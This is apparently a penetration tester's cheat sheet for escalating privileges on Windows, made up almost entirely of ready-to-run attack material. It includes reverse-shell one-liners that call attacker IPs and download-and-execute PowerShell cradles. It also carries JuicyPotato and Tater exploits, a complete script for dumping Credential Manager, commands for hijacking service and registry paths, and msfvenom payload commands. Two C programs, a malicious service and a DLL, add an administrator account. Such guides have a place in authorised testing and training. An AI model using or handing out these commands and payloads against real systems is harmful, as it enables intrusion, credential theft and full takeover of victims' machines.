From Kali to Windows
WinEXE
Copy winexe -U <user>%<pass> //<target_ip> "cmd.exe"
PsExec
Copy psexec.py <user>:'<pass>'@<target ip>
SMBExec
Copy smbexec.py <user>:'<pass>'@<target ip>
Powershell Reverse TCP
Copy Invoke-PowerShellTcp -Reverse -IPAddress <kali_ip> -Port <kali_port>
Great Guides for Windows PrivEsc
Fuzzy Security Guide
Payload all the thing
Absoloom's Guide
Sushant 747's Guide
Exploring Automated Tools
winpeas
Windows Priv Esc Checklist
Sherlock
Watson
PowerUp
JAWS
Windows Exploit Suggester
Metasploit Local Exploit Suggester
Seatbelt
SharpUp
Kernel Exploit
Windows Kernel Exploits
MS15-051
MS15-051-KB3045171.zip (https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS15-051/MS15-051-KB3045171.zip )
Copy ms15-051x64.exe "nc.exe 10.10.10.10 443 -e cmd.exe"
MS10-059
Copy Churraskito.exe <kali_ip> <kali_port>
Stored Password in registry
Quick win!
Copy reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Port Forwarding using plink.exe
On target machine:
Copy plink.exe -l <user> -pw <pw> -R <kaliport>:127.0.0.1:<localport> <kali_ip>
From Kali, we can do something like:
Copy winexe -U <user>%<pass> //127.0.0.1 "cmd.exe"
Windows Subsystem
Copy wsl whoami
./ubuntu1604.exe config --default-user root
wsl whoami
wsl python -c '<python bind/reverse shell>'
Find bash / wsl on Windows:
Copy where /R C:\Windows bash.exe
where /R C:\Windows wsl.exe
PsExec / smbexec from Kali:
Copy psexec.py <user>:'<pass>'@<target ip>
smbexec.py <user>:'<pass>'@<target ip>
Potato Attack
Exploit - JuicyPotato.exe
Copy JuicyPotato.exe -l 1234 -t * -p <program to launch>
For the -p
switch, you may craft a .bat
file in order to run something more complicate.
For example, if you want to get a SYSTEM reverse shell, you may make use of Invoke-PowerShellTcp.ps1
.
The BAT file:
Copy powershell -c iex(New-Object Net.WebClient).DownloadString('http://10.10.14.8/Invoke-PowerShellTcp.ps1')
For the Invoke-PowerShellTcp.ps1
file, add Invoke-PowershellTcp -Reverse -IPAddress 10.10.14.8 -Port 443
at the end.
Then execute JuicyPotato.exe:
JuicyPotato.exe -l 1234 -t * -p shell.bat
Alternative Data Stream (ADS)
To make an ADS (in this case, add the message hideme
to a stream showme
in example
.
Copy echo hideme > example:showme
To inspect if a file has ADS,
Copy Get-Item -Path <file_path> -Stream *
To get the content in ADS (e.g. hm.txt:root.txt:$DATA)
Copy more < hm.txt:root.txt:$DATA
Copy Get-Content -Path <file_path> -Stream <stream name>
Another Exploit - Tater.ps1
Copy . .\Tater.ps1
Invoke-Tater -Trigger 1 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
Credential Manager - Stored Username / Password
To show stored credentials:
To abuse the stored credential:
Copy C:\Windows\System32\runas.exe /user:<stored_user> /savecred "C:\Windows\System32\cmd.exe /c <command>"
Again for complex argument, we may use Powershell encoded command. For example, we would like to get a Powershell reverse shell, we may want to execute:
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.8/Invoke-PowerShellTcp.ps1')
In order to use runas
without the "quote pain", we could encode the command. To do so, on Kali:
Copy echo -n "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.8/Invoke-PowerShellTcp.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
Then on the Windows target, do:
Copy runas.exe /user:<stored_user> /savecred "cmd.exe /c powershell -enc <b64_code>"
If you have RDP session:
Copy runas /savecred /user:admin "powershell -c start-process cmd.exe -verb runas"
Copy [String] $PsCredmanUtils = @"
using System;
using System.Runtime.InteropServices;
namespace PsUtils
{
public class CredMan
{
// DllImport derives from System.Runtime.InteropServices
[DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredDeleteW", CharSet = CharSet.Unicode)]
private static extern bool CredDeleteW([In] string target, [In] CRED_TYPE type, [In] int reservedFlag);
[DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredEnumerateW", CharSet = CharSet.Unicode)]
private static extern bool CredEnumerateW([In] string Filter, [In] int Flags, out int Count, out IntPtr CredentialPtr);
[DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredFree")]
private static extern void CredFree([In] IntPtr cred);
[DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredReadW", CharSet = CharSet.Unicode)]
private static extern bool CredReadW([In] string target, [In] CRED_TYPE type, [In] int reservedFlag, out IntPtr CredentialPtr);
[DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredWriteW", CharSet = CharSet.Unicode)]
private static extern bool CredWriteW([In] ref Credential userCredential, [In] UInt32 flags);
public enum CRED_FLAGS : uint
{
NONE = 0x0,
PROMPT_NOW = 0x2,
USERNAME_TARGET = 0x4
}
public enum CRED_ERRORS : uint
{
ERROR_SUCCESS = 0x0,
ERROR_INVALID_PARAMETER = 0x80070057,
ERROR_INVALID_FLAGS = 0x800703EC,
ERROR_NOT_FOUND = 0x80070490,
ERROR_NO_SUCH_LOGON_SESSION = 0x80070520,
ERROR_BAD_USERNAME = 0x8007089A
}
public enum CRED_PERSIST : uint
{
SESSION = 1,
LOCAL_MACHINE = 2,
ENTERPRISE = 3
}
public enum CRED_TYPE : uint
{
GENERIC = 1,
DOMAIN_PASSWORD = 2,
DOMAIN_CERTIFICATE = 3,
DOMAIN_VISIBLE_PASSWORD = 4,
GENERIC_CERTIFICATE = 5,
DOMAIN_EXTENDED = 6,
MAXIMUM = 7, // Maximum supported cred type
MAXIMUM_EX = (MAXIMUM + 1000), // Allow new applications to run on old OSes
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct Credential
{
public CRED_FLAGS Flags;
public CRED_TYPE Type;
public string TargetName;
public string Comment;
public DateTime LastWritten;
public UInt32 CredentialBlobSize;
public string CredentialBlob;
public CRED_PERSIST Persist;
public UInt32 AttributeCount;
public IntPtr Attributes;
public string TargetAlias;
public string UserName;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct NativeCredential
{
public CRED_FLAGS Flags;
public CRED_TYPE Type;
public IntPtr TargetName;
public IntPtr Comment;
public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten;
public UInt32 CredentialBlobSize;
public IntPtr CredentialBlob;
public UInt32 Persist;
public UInt32 AttributeCount;
public IntPtr Attributes;
public IntPtr TargetAlias;
public IntPtr UserName;
}
private class CriticalCredentialHandle : Microsoft.Win32.SafeHandles.CriticalHandleZeroOrMinusOneIsInvalid
{
public CriticalCredentialHandle(IntPtr preexistingHandle)
{
SetHandle(preexistingHandle);
}
private Credential XlateNativeCred(IntPtr pCred)
{
NativeCredential ncred = (NativeCredential)Marshal.PtrToStructure(pCred, typeof(NativeCredential));
Credential cred = new Credential();
cred.Type = ncred.Type;
cred.Flags = ncred.Flags;
cred.Persist = (CRED_PERSIST)ncred.Persist;
long LastWritten = ncred.LastWritten.dwHighDateTime;
LastWritten = (LastWritten << 32) + ncred.LastWritten.dwLowDateTime;
cred.LastWritten = DateTime.FromFileTime(LastWritten);
cred.UserName = Marshal.PtrToStringUni(ncred.UserName);
cred.TargetName = Marshal.PtrToStringUni(ncred.TargetName);
cred.TargetAlias = Marshal.PtrToStringUni(ncred.TargetAlias);
cred.Comment = Marshal.PtrToStringUni(ncred.Comment);
cred.CredentialBlobSize = ncred.CredentialBlobSize;
if (0 < ncred.CredentialBlobSize)
{
cred.CredentialBlob = Marshal.PtrToStringUni(ncred.CredentialBlob, (int)ncred.CredentialBlobSize / 2);
}
return cred;
}
public Credential GetCredential()
{
if (IsInvalid)
{
throw new InvalidOperationException("Invalid CriticalHandle!");
}
Credential cred = XlateNativeCred(handle);
return cred;
}
public Credential[] GetCredentials(int count)
{
if (IsInvalid)
{
throw new InvalidOperationException("Invalid CriticalHandle!");
}
Credential[] Credentials = new Credential[count];
IntPtr pTemp = IntPtr.Zero;
for (int inx = 0; inx < count; inx++)
{
pTemp = Marshal.ReadIntPtr(handle, inx * IntPtr.Size);
Credential cred = XlateNativeCred(pTemp);
Credentials[inx] = cred;
}
return Credentials;
}
override protected bool ReleaseHandle()
{
if (IsInvalid)
{
return false;
}
CredFree(handle);
SetHandleAsInvalid();
return true;
}
}
public static int CredDelete(string target, CRED_TYPE type)
{
if (!CredDeleteW(target, type, 0))
{
return Marshal.GetHRForLastWin32Error();
}
return 0;
}
public static int CredEnum(string Filter, out Credential[] Credentials)
{
int count = 0;
int Flags = 0x0;
if (string.IsNullOrEmpty(Filter) ||
"*" == Filter)
{
Filter = null;
if (6 <= Environment.OSVersion.Version.Major)
{
Flags = 0x1; //CRED_ENUMERATE_ALL_CREDENTIALS; only valid is OS >= Vista
}
}
IntPtr pCredentials = IntPtr.Zero;
if (!CredEnumerateW(Filter, Flags, out count, out pCredentials))
{
Credentials = null;
return Marshal.GetHRForLastWin32Error();
}
CriticalCredentialHandle CredHandle = new CriticalCredentialHandle(pCredentials);
Credentials = CredHandle.GetCredentials(count);
return 0;
}
public static int CredRead(string target, CRED_TYPE type, out Credential Credential)
{
IntPtr pCredential = IntPtr.Zero;
Credential = new Credential();
if (!CredReadW(target, type, 0, out pCredential))
{
return Marshal.GetHRForLastWin32Error();
}
CriticalCredentialHandle CredHandle = new CriticalCredentialHandle(pCredential);
Credential = CredHandle.GetCredential();
return 0;
}
public static int CredWrite(Credential userCredential)
{
if (!CredWriteW(ref userCredential, 0))
{
return Marshal.GetHRForLastWin32Error();
}
return 0;
}
private static int AddCred()
{
Credential Cred = new Credential();
string Password = "Password";
Cred.Flags = 0;
Cred.Type = CRED_TYPE.GENERIC;
Cred.TargetName = "Target";
Cred.UserName = "UserName";
Cred.AttributeCount = 0;
Cred.Persist = CRED_PERSIST.ENTERPRISE;
Cred.CredentialBlobSize = (uint)Password.Length;
Cred.CredentialBlob = Password;
Cred.Comment = "Comment";
return CredWrite(Cred);
}
private static bool CheckError(string TestName, CRED_ERRORS Rtn)
{
switch(Rtn)
{
case CRED_ERRORS.ERROR_SUCCESS:
Console.WriteLine(string.Format("'{0}' worked", TestName));
return true;
case CRED_ERRORS.ERROR_INVALID_FLAGS:
case CRED_ERRORS.ERROR_INVALID_PARAMETER:
case CRED_ERRORS.ERROR_NO_SUCH_LOGON_SESSION:
case CRED_ERRORS.ERROR_NOT_FOUND:
case CRED_ERRORS.ERROR_BAD_USERNAME:
Console.WriteLine(string.Format("'{0}' failed; {1}.", TestName, Rtn));
break;
default:
Console.WriteLine(string.Format("'{0}' failed; 0x{1}.", TestName, Rtn.ToString("X")));
break;
}
return false;
}
/*
* Note: the Main() function is primarily for debugging and testing in a Visual
* Studio session. Although it will work from PowerShell, it's not very useful.
*/
public static void Main()
{
Credential[] Creds = null;
Credential Cred = new Credential();
int Rtn = 0;
Console.WriteLine("Testing CredWrite()");
Rtn = AddCred();
if (!CheckError("CredWrite", (CRED_ERRORS)Rtn))
{
return;
}
Console.WriteLine("Testing CredEnum()");
Rtn = CredEnum(null, out Creds);
if (!CheckError("CredEnum", (CRED_ERRORS)Rtn))
{
return;
}
Console.WriteLine("Testing CredRead()");
Rtn = CredRead("Target", CRED_TYPE.GENERIC, out Cred);
if (!CheckError("CredRead", (CRED_ERRORS)Rtn))
{
return;
}
Console.WriteLine("Testing CredDelete()");
Rtn = CredDelete("Target", CRED_TYPE.GENERIC);
if (!CheckError("CredDelete", (CRED_ERRORS)Rtn))
{
return;
}
Console.WriteLine("Testing CredRead() again");
Rtn = CredRead("Target", CRED_TYPE.GENERIC, out Cred);
if (!CheckError("CredRead", (CRED_ERRORS)Rtn))
{
Console.WriteLine("if the error is 'ERROR_NOT_FOUND', this result is OK.");
}
}
}
}
"@
$PsCredMan = $null
try
{
$PsCredMan = [PsUtils.CredMan]
}
catch
{
$Error.RemoveAt($Error.Count-1)
}
if($null -eq $PsCredMan)
{
Add-Type $PsCredmanUtils
}
[HashTable] $ErrorCategory = @{0x80070057 = "InvalidArgument";
0x800703EC = "InvalidData";
0x80070490 = "ObjectNotFound";
0x80070520 = "SecurityError";
0x8007089A = "SecurityError"}
function Get-CredType
{
Param
(
[Parameter(Mandatory=$true)][ValidateSet("GENERIC",
"DOMAIN_PASSWORD",
"DOMAIN_CERTIFICATE",
"DOMAIN_VISIBLE_PASSWORD",
"GENERIC_CERTIFICATE",
"DOMAIN_EXTENDED",
"MAXIMUM",
"MAXIMUM_EX")][String] $CredType
)
switch($CredType)
{
"GENERIC" {return [PsUtils.CredMan+CRED_TYPE]::GENERIC}
"DOMAIN_PASSWORD" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_PASSWORD}
"DOMAIN_CERTIFICATE" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_CERTIFICATE}
"DOMAIN_VISIBLE_PASSWORD" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_VISIBLE_PASSWORD}
"GENERIC_CERTIFICATE" {return [PsUtils.CredMan+CRED_TYPE]::GENERIC_CERTIFICATE}
"DOMAIN_EXTENDED" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_EXTENDED}
"MAXIMUM" {return [PsUtils.CredMan+CRED_TYPE]::MAXIMUM}
"MAXIMUM_EX" {return [PsUtils.CredMan+CRED_TYPE]::MAXIMUM_EX}
}
}
function Get-CredPersist
{
Param
(
[Parameter(Mandatory=$true)][ValidateSet("SESSION",
"LOCAL_MACHINE",
"ENTERPRISE")][String] $CredPersist
)
switch($CredPersist)
{
"SESSION" {return [PsUtils.CredMan+CRED_PERSIST]::SESSION}
"LOCAL_MACHINE" {return [PsUtils.CredMan+CRED_PERSIST]::LOCAL_MACHINE}
"ENTERPRISE" {return [PsUtils.CredMan+CRED_PERSIST]::ENTERPRISE}
}
}
function Del-Creds
{
Param
(
[Parameter(Mandatory=$true)][ValidateLength(1,32767)][String] $Target,
[Parameter(Mandatory=$false)][ValidateSet("GENERIC",
"DOMAIN_PASSWORD",
"DOMAIN_CERTIFICATE",
"DOMAIN_VISIBLE_PASSWORD",
"GENERIC_CERTIFICATE",
"DOMAIN_EXTENDED",
"MAXIMUM",
"MAXIMUM_EX")][String] $CredType = "GENERIC"
)
[Int] $Results = 0
try
{
$Results = [PsUtils.CredMan]::CredDelete($Target, $(Get-CredType $CredType))
}
catch
{
return $_
}
if(0 -ne $Results)
{
[String] $Msg = "Failed to delete credentials store for target '$Target'"
[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null)
return $ErrRcd
}
return $Results
}
function Enum-Creds
{
Param
(
[Parameter(Mandatory=$false)][AllowEmptyString()][String] $Filter = [String]::Empty
)
[PsUtils.CredMan+Credential[]] $Creds = [Array]::CreateInstance([PsUtils.CredMan+Credential], 0)
[Int] $Results = 0
try
{
$Results = [PsUtils.CredMan]::CredEnum($Filter, [Ref]$Creds)
}
catch
{
return $_
}
switch($Results)
{
0 {break}
0x80070490 {break} #ERROR_NOT_FOUND
default
{
[String] $Msg = "Failed to enumerate credentials store for user '$Env:UserName'"
[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null)
return $ErrRcd
}
}
return $Creds
}
function Read-Creds
{
Param
(
[Parameter(Mandatory=$true)][ValidateLength(1,32767)][String] $Target,
[Parameter(Mandatory=$false)][ValidateSet("GENERIC",
"DOMAIN_PASSWORD",
"DOMAIN_CERTIFICATE",
"DOMAIN_VISIBLE_PASSWORD",
"GENERIC_CERTIFICATE",
"DOMAIN_EXTENDED",
"MAXIMUM",
"MAXIMUM_EX")][String] $CredType = "GENERIC"
)
if("GENERIC" -ne $CredType -and 337 -lt $Target.Length) #CRED_MAX_DOMAIN_TARGET_NAME_LENGTH
{
[String] $Msg = "Target field is longer ($($Target.Length)) than allowed (max 337 characters)"
[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, 666, 'LimitsExceeded', $null)
return $ErrRcd
}
[PsUtils.CredMan+Credential] $Cred = New-Object PsUtils.CredMan+Credential
[Int] $Results = 0
try
{
$Results = [PsUtils.CredMan]::CredRead($Target, $(Get-CredType $CredType), [Ref]$Cred)
}
catch
{
return $_
}
switch($Results)
{
0 {break}
0x80070490 {return $null} #ERROR_NOT_FOUND
default
{
[String] $Msg = "Error reading credentials for target '$Target' from '$Env:UserName' credentials store"
[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null)
return $ErrRcd
}
}
return $Cred
}
function Write-Creds
{
Param
(
[Parameter(Mandatory=$false)][ValidateLength(0,32676)][String] $Target,
[Parameter(Mandatory=$true)][ValidateLength(1,512)][String] $UserName,
[Parameter(Mandatory=$true)][ValidateLength(1,512)][String] $Password,
[Parameter(Mandatory=$false)][ValidateLength(0,256)][String] $Comment = [String]::Empty,
[Parameter(Mandatory=$false)][ValidateSet("GENERIC",
"DOMAIN_PASSWORD",
"DOMAIN_CERTIFICATE",
"DOMAIN_VISIBLE_PASSWORD",
"GENERIC_CERTIFICATE",
"DOMAIN_EXTENDED",
"MAXIMUM",
"MAXIMUM_EX")][String] $CredType = "GENERIC",
[Parameter(Mandatory=$false)][ValidateSet("SESSION",
"LOCAL_MACHINE",
"ENTERPRISE")][String] $CredPersist = "ENTERPRISE"
)
if([String]::IsNullOrEmpty($Target))
{
$Target = $UserName
}
if("GENERIC" -ne $CredType -and 337 -lt $Target.Length) #CRED_MAX_DOMAIN_TARGET_NAME_LENGTH
{
[String] $Msg = "Target field is longer ($($Target.Length)) than allowed (max 337 characters)"
[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, 666, 'LimitsExceeded', $null)
return $ErrRcd
}
if([String]::IsNullOrEmpty($Comment))
{
$Comment = [String]::Format("Last edited by {0}\{1} on {2}",
$Env:UserDomain,
$Env:UserName,
$Env:ComputerName)
}
[String] $DomainName = [Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties().DomainName
[PsUtils.CredMan+Credential] $Cred = New-Object PsUtils.CredMan+Credential
switch($Target -eq $UserName -and
("CRED_TYPE_DOMAIN_PASSWORD" -eq $CredType -or
"CRED_TYPE_DOMAIN_CERTIFICATE" -eq $CredType))
{
$true {$Cred.Flags = [PsUtils.CredMan+CRED_FLAGS]::USERNAME_TARGET}
$false {$Cred.Flags = [PsUtils.CredMan+CRED_FLAGS]::NONE}
}
$Cred.Type = Get-CredType $CredType
$Cred.TargetName = $Target
$Cred.UserName = $UserName
$Cred.AttributeCount = 0
$Cred.Persist = Get-CredPersist $CredPersist
$Cred.CredentialBlobSize = [Text.Encoding]::Unicode.GetBytes($Password).Length
$Cred.CredentialBlob = $Password
$Cred.Comment = $Comment
[Int] $Results = 0
try
{
$Results = [PsUtils.CredMan]::CredWrite($Cred)
}
catch
{
return $_
}
if(0 -ne $Results)
{
[String] $Msg = "Failed to write to credentials store for target '$Target' using '$UserName', '$Password', '$Comment'"
[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null)
return $ErrRcd
}
return $Results
}
function CredManMain
{
if($AddCred)
{
if([String]::IsNullOrEmpty($User) -or
[String]::IsNullOrEmpty($Pass))
{
Write-Host "You must supply a user name and password (target URI is optional)."
return
}
# may be [Int32] or [Management.Automation.ErrorRecord]
[Object] $Results = Write-Creds $Target $User $Pass $Comment $CredType $CredPersist
if(0 -eq $Results)
{
[Object] $Cred = Read-Creds $Target $CredType
if($null -eq $Cred)
{
Write-Host "Credentials for '$Target', '$User' was not found."
return
}
if($Cred -is [Management.Automation.ErrorRecord])
{
return $Cred
}
[String] $CredStr = @"
Successfully wrote or updated credentials as:
UserName : $($Cred.UserName)
Password : $($Cred.CredentialBlob)
Target : $($Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1))
Updated : $([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) UTC
Comment : $($Cred.Comment)
"@
Write-Host $CredStr
return
}
# will be a [Management.Automation.ErrorRecord]
return $Results
}
if($DelCred)
{
if(-not $Target)
{
Write-Host "You must supply a target URI."
return
}
# may be [Int32] or [Management.Automation.ErrorRecord]
[Object] $Results = Del-Creds $Target $CredType
if(0 -eq $Results)
{
Write-Host "Successfully deleted credentials for '$Target'"
return
}
# will be a [Management.Automation.ErrorRecord]
return $Results
}
if($GetCred)
{
if(-not $Target)
{
Write-Host "You must supply a target URI."
return
}
# may be [PsUtils.CredMan+Credential] or [Management.Automation.ErrorRecord]
[Object] $Cred = Read-Creds $Target $CredType
if($null -eq $Cred)
{
Write-Host "Credential for '$Target' as '$CredType' type was not found."
return
}
if($Cred -is [Management.Automation.ErrorRecord])
{
return $Cred
}
[String] $CredStr = @"
Found credentials as:
UserName : $($Cred.UserName)
Password : $($Cred.CredentialBlob)
Target : $($Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1))
Updated : $([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) UTC
Comment : $($Cred.Comment)
"@
Write-Host $CredStr
}
if($ShoCred)
{
# may be [PsUtils.CredMan+Credential[]] or [Management.Automation.ErrorRecord]
[Object] $Creds = Enum-Creds
if($Creds -split [Array] -and 0 -eq $Creds.Length)
{
Write-Host "No Credentials found for $($Env:UserName)"
return
}
if($Creds -is [Management.Automation.ErrorRecord])
{
return $Creds
}
foreach($Cred in $Creds)
{
[String] $CredStr = @"
UserName : $($Cred.UserName)
Password : $($Cred.CredentialBlob)
Target : $($Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1))
Updated : $([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) UTC
Comment : $($Cred.Comment)
"@
if($All)
{
$CredStr = @"
$CredStr
Alias : $($Cred.TargetAlias)
AttribCnt : $($Cred.AttributeCount)
Attribs : $($Cred.Attributes)
Flags : $($Cred.Flags)
Pwd Size : $($Cred.CredentialBlobSize)
Storage : $($Cred.Persist)
Type : $($Cred.Type)
"@
}
Write-Host $CredStr
}
return
}
if($RunTests)
{
[PsUtils.CredMan]::Main()
}
}
CredManMain
Enum-Creds
Insecure Service Permission
Check program permission using accesschk.exe
:
Copy accesschk.exe /accepteula -uwcqv "Everyone" *
accesschk.exe /accepteula -uwcqv "Users" *
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
Note the services with ALL_ACCESS
. After getting the service name, further check:
The binpath could be changed:
Copy sc config <service> binpath= "<reverse_shell_path>"
sc config <service> start= auto
net start <service>
Could also try 1-liner to detect:
Copy wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Insecure Service in Hive
Copy accesschk.exe -accepteula -kvuqsw hklm\System\CurrentControlSet\services > c:\Users\Public\regs.txt
Search for "Authenticated Users"
Look for RW
+ KEY_ALL_ACCESS
For example, if we found HKLM\System\CurrentControlSet\services\IKEEXT
, then do
Copy reg query HKLM\System\CurrentControlSet\services\IKEEXT
We can reconfigure the ImagePath
in the reg:
Copy reg add HKLM\SYSTEM\CurrentControlSet\services\IKEEXT /v ImagePath /t REG_EXPAND_SZ /d C:\Users\Public\malicious.exe /f
Insecure Autorun program permission
We can use Autoruns.exe / Autoruns64.exe from sysinternal to check auto run program:
Then we can use accesschk.exe to check its permission:
Copy accesschk.exe -wvu "<executable_directory_path>"
Abuse-able permission like FILE_ALL_ACCESS is dangerous. For example, we can replace it with a reverse shell executable.
Alternatively, we can reveal this checking by using PowerUp.ps1 :
Copy powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
AlwaysInstallElevated
Detection - REG Query
Copy reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
If the output is AlwaysInstallElevated
= 0x1, we can use this to escalate the privilege.
Another way to detect AlwaysInstallElevated
is again using PowerUp.ps1 .
The section Checking for AlwaysInstallElevated registry key
will reveal the vulnerability:
Copy powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
Exploit - PowerUp / Msfvenom
Method 1: PowerUp
In the above output, if we then do:
A msi installer will then be created. Once run, we will see the prompt:
This will lead to the creation of a local admin backdoor .
Method 2: msfvenom
Copy msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.17.191 LPORT=443 -f msi > install.msi
When it is executed, a reverse shell as SYSTEM will call back.
Method 3: MSI Wrapper
When double clicking the msi:
Service Escalation - Registry (regsvc)
Detection - Get-ACL of service
Use powershell:
Copy Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
If the output shows the current user:
belong to NT AUTHORITY\INTERACTIVE
has FullControl
over the registry
We can abuse it!
Exploit - Compile system() file
Compile the following script (note the system() section)
Copy #include <windows.h>
#include <stdio.h>
#define SLEEP_TIME 5000
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
//add the payload here
int Run()
{
system("cmd.exe /k net localgroup administrators user /add");
return 0;
}
int main()
{
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "MyService";
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
void ServiceMain(int argc, char** argv)
{
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = RegisterServiceCtrlHandler("MyService", (LPHANDLER_FUNCTION)ControlHandler);
Run();
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);
while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
{
Sleep(SLEEP_TIME);
}
return;
}
void ControlHandler(DWORD request)
{
switch(request)
{
case SERVICE_CONTROL_STOP:
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
default:
break;
}
SetServiceStatus (hStatus, &ServiceStatus);
return;
}
Compile on kali:
Copy x86_64-w64-mingw32-gcc windows_service.c -o x.exe
Transfer the EXE to the target (e.g. C:\temp\x.exe). Then:
Copy reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f
Once we start the service, user
is added into admin group.
Executable set as a service
Detection - PowerUp
Use PowerUp.ps1 :
Copy powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
The section Checking service executable and argument permissions will reveal something interesting:
Detection - Accesschk.exe
To double check the service executable permission, use accesschk.exe :
Copy accesschk.exe -wvu "C:\Program Files\File Permissions Service\" /accepteula
Exploit
Same as the step in Service Escalation - Registry (regsvc)
, compile the c file.
For example, in Detection part we know service filepermsvc executable C:\Program Files\File Permissions Service\filepermservice
is vulnerable, we can replace it with the compiled file. Then:
Startup Applications
Detection - icacls.exe
PowerUp cannot detect this! Instead we have to use icacls.exe :
Copy icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
Note User has <F> permission.
Exploit - Msfvenom
Generate a msfvenom payload. For example:
Copy msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.17.191 LPORT=443 -f exe > y.exe
Then copy y.exe to the path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
.
When an Admin logins, an admin shell will call back to the listener.
DLL Hijacking
Detection - Process Monitor
DLL is a share library in Windows. It is similar to an executable.
To find a possible DLL Hijacking, use Process Monitor :
(Include) Path ends with .dll
(Include) Result is NAME NOT FOUND
(Exclude) Path contains C:\Windows\System32
A vulnerable example:
We can further check the folder permission:
All authenticated users have <M> permission.
(ref: https://theitbros.com/using-icacls-to-list-folder-permissions-and-manage-files/ )
Exploit - Generated DLL
Compile a DLL. For example:
Copy // For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
Compile:
Copy x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
Service Binary Path
Detection - PowerUp and Accesschk
First use PowerUp and inspect the [*] Checking service permissions...
section:
The most notable permission is CanRestart: True
